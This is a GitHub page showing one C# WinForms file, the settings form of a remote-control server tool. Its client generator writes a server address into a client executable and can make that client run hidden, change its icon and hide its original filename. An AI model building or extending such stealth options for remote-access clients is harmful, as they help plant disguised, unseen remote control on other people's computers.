forked from Trevor3000/RemoteControl
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathFrmSettings.cs
More file actions
197 lines (185 loc) · 8.47 KB
/
Copy pathFrmSettings.cs
File metadata and controls
197 lines (185 loc) · 8.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using RemoteControl.Protocals;
using RemoteControl.Protocals.Utilities;
using RemoteControl.Server.Utils;
namespace RemoteControl.Server
{
public partial class FrmSettings : FrmBase
{
public FrmSettings()
{
InitializeComponent();
this.EnableCancelButton = true;
this.pictureBoxAppIcon.Visible = false;
}
private void FrmSettings_Load(object sender, EventArgs e)
{
base.EnableCancelButton = true;
this.textBoxServerIP.Text = Settings.CurrentSettings.ClientPara.ServerIP;
this.textBoxServerPort.Text = Settings.CurrentSettings.ClientPara.ServerPort.ToString();
this.textBoxLocalServerPort.Text = Settings.CurrentSettings.ServerPort.ToString();
this.checkBoxHideClient.Checked = Settings.CurrentSettings.ClientPara.IsHide;
string onlineAvatar = Settings.CurrentSettings.ClientPara.OnlineAvatar;
string onlineAvatarPath = RSCApplication.GetPath(ePathType.AVATAR_DIR) + onlineAvatar;
if (!string.IsNullOrWhiteSpace(onlineAvatarPath) && System.IO.File.Exists(onlineAvatarPath))
{
this.pictureBoxAvatar.Tag = onlineAvatar;
this.pictureBoxAvatar.BackgroundImage = Image.FromFile(onlineAvatarPath);
}
string clientIconPath = Settings.CurrentSettings.ClientPara.ClientIconPath;
if (!string.IsNullOrWhiteSpace(clientIconPath) && System.IO.File.Exists(clientIconPath))
{
this.pictureBoxAppIcon.Tag = clientIconPath;
this.pictureBoxAppIcon.BackgroundImage = Image.FromFile(clientIconPath);
checkBoxAppIcon.Checked = true;
}
}
private void buttonSaveServerSetting_Click(object sender, EventArgs e)
{
string cServerIP = this.textBoxServerIP.Text.Trim();
int cServerPort;
if (!int.TryParse(this.textBoxServerPort.Text, out cServerPort))
return;
int sServerPort;
if (!int.TryParse(this.textBoxLocalServerPort.Text, out sServerPort))
return;
if (string.IsNullOrWhiteSpace(this.textBoxServiceName.Text))
return;
string serviceName = this.textBoxServiceName.Text.Trim();
string avatar = this.pictureBoxAvatar.Tag.ToString();
Settings.CurrentSettings.ClientPara.ServerIP = cServerIP;
Settings.CurrentSettings.ClientPara.ServerPort = cServerPort;
Settings.CurrentSettings.ClientPara.ServiceName = serviceName;
Settings.CurrentSettings.ClientPara.OnlineAvatar = avatar;
Settings.CurrentSettings.ClientPara.IsHide = this.checkBoxHideClient.Checked;
if (checkBoxAppIcon.Checked == false)
{
Settings.CurrentSettings.ClientPara.ClientIconPath = null;
}
else
{
Settings.CurrentSettings.ClientPara.ClientIconPath = pictureBoxAppIcon.Tag == null
? null
: pictureBoxAppIcon.Tag.ToString();
}
Settings.CurrentSettings.ServerPort = sServerPort;
Settings.SaveSettings();
this.Close();
}
private void buttonGenClient_Click(object sender, EventArgs e)
{
string serverIP = this.textBoxServerIP.Text.Trim();
string serverPort = this.textBoxServerPort.Text.Trim();
int serverPortNum;
if (!int.TryParse(serverPort, out serverPortNum))
return;
if (string.IsNullOrWhiteSpace(this.textBoxServiceName.Text))
return;
string serviceName = this.textBoxServiceName.Text.Trim();
string avatar = this.pictureBoxAvatar.Tag.ToString();
bool showOriginalFilename = this.checkBoxShowOriginalFileName.Checked;
// 保存配置
this.buttonSaveServerSetting.PerformClick();
SaveFileDialog dialog = new SaveFileDialog();
dialog.Filter = "可执行程序(*.exe)|*.exe|所有文件(*.*)|*.*";
dialog.FilterIndex = 1;
dialog.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
if (dialog.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
ClientParameters para = new ClientParameters();
para.SetServerIP(serverIP);
para.ServerPort = serverPortNum;
para.ServiceName = serviceName;
para.OnlineAvatar = avatar;
byte[] fileBytes = null;
if (System.IO.File.Exists("RemoteControl.Client.dat"))
{
// 读取本地文件
fileBytes = System.IO.File.ReadAllBytes("RemoteControl.Client.dat");
}
else
{
MsgBox.Info("RemoteControl.Client.dat文件丢失!");
return;
// 读取资源文件
//fileBytes = ResUtil.GetResFileData("RemoteControl.Client.dat");
}
// 拷贝文件
System.IO.File.WriteAllBytes(dialog.FileName, fileBytes);
// 修改图标
if (this.checkBoxAppIcon.Checked && this.pictureBoxAppIcon.Tag!=null && System.IO.File.Exists(this.pictureBoxAppIcon.Tag.ToString()))
{
IconChanger.ChangeIcon(dialog.FileName, this.pictureBoxAppIcon.Tag as string);
}
fileBytes = System.IO.File.ReadAllBytes(dialog.FileName);
// 修改启动模式
ClientParametersManager.WriteClientStyle(fileBytes,
this.checkBoxHideClient.Checked ? ClientParametersManager.ClientStyle.Hidden : ClientParametersManager.ClientStyle.Normal);
if (!showOriginalFilename)
{
// 隐藏原始文件名
ClientParametersManager.HideOriginalFilename(fileBytes);
}
// 修改参数
ClientParametersManager.WriteParameters(fileBytes, dialog.FileName, para);
MsgBox.Info("客户端生成成功!");
}
}
private void buttonSelectIP_Click(object sender, EventArgs e)
{
var ips = CommonUtil.GetIPAddressV4();
ContextMenuStrip cms = new ContextMenuStrip();
ips.ForEach(a =>
{
cms.Items.Add(a, null, (o, args) =>
{
this.textBoxServerIP.Text = a;
});
});
cms.Show(this.buttonSelectIP, new Point(0, buttonSelectIP.Height));
}
private void button1_Click(object sender, EventArgs e)
{
this.Close();
}
private void pictureBoxAvatar_Click(object sender, EventArgs e)
{
var frm = new FrmSelectAvatar();
if (frm.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
string avatarFile = frm.SelectedAvatarFile;
string avatarFileName = System.IO.Path.GetFileName(avatarFile);
this.pictureBoxAvatar.Tag = avatarFileName;
this.pictureBoxAvatar.BackgroundImage = Image.FromFile(avatarFile);
}
}
private void pictureBoxAppIcon_Click(object sender, EventArgs e)
{
OpenFileDialog ofd = new OpenFileDialog();
ofd.Multiselect = false;
ofd.Title = "请选择图标";
ofd.Filter = "*.ico|*.ico";
ofd.FilterIndex = 1;
// %appdata%\iconmaster\output
string initFolder = System.IO.Path.Combine(Environment.GetEnvironmentVariable("appdata"), @"iconmaster\output");
if(System.IO.Directory.Exists(initFolder))
ofd.InitialDirectory = initFolder;
if (ofd.ShowDialog() != System.Windows.Forms.DialogResult.OK)
{
return;
}
this.pictureBoxAppIcon.Tag = ofd.FileName;
this.pictureBoxAppIcon.BackgroundImage = Image.FromFile(ofd.FileName);
}
private void checkBoxAppIcon_CheckedChanged(object sender, EventArgs e)
{
this.pictureBoxAppIcon.Visible = checkBoxAppIcon.Checked;
}
}
}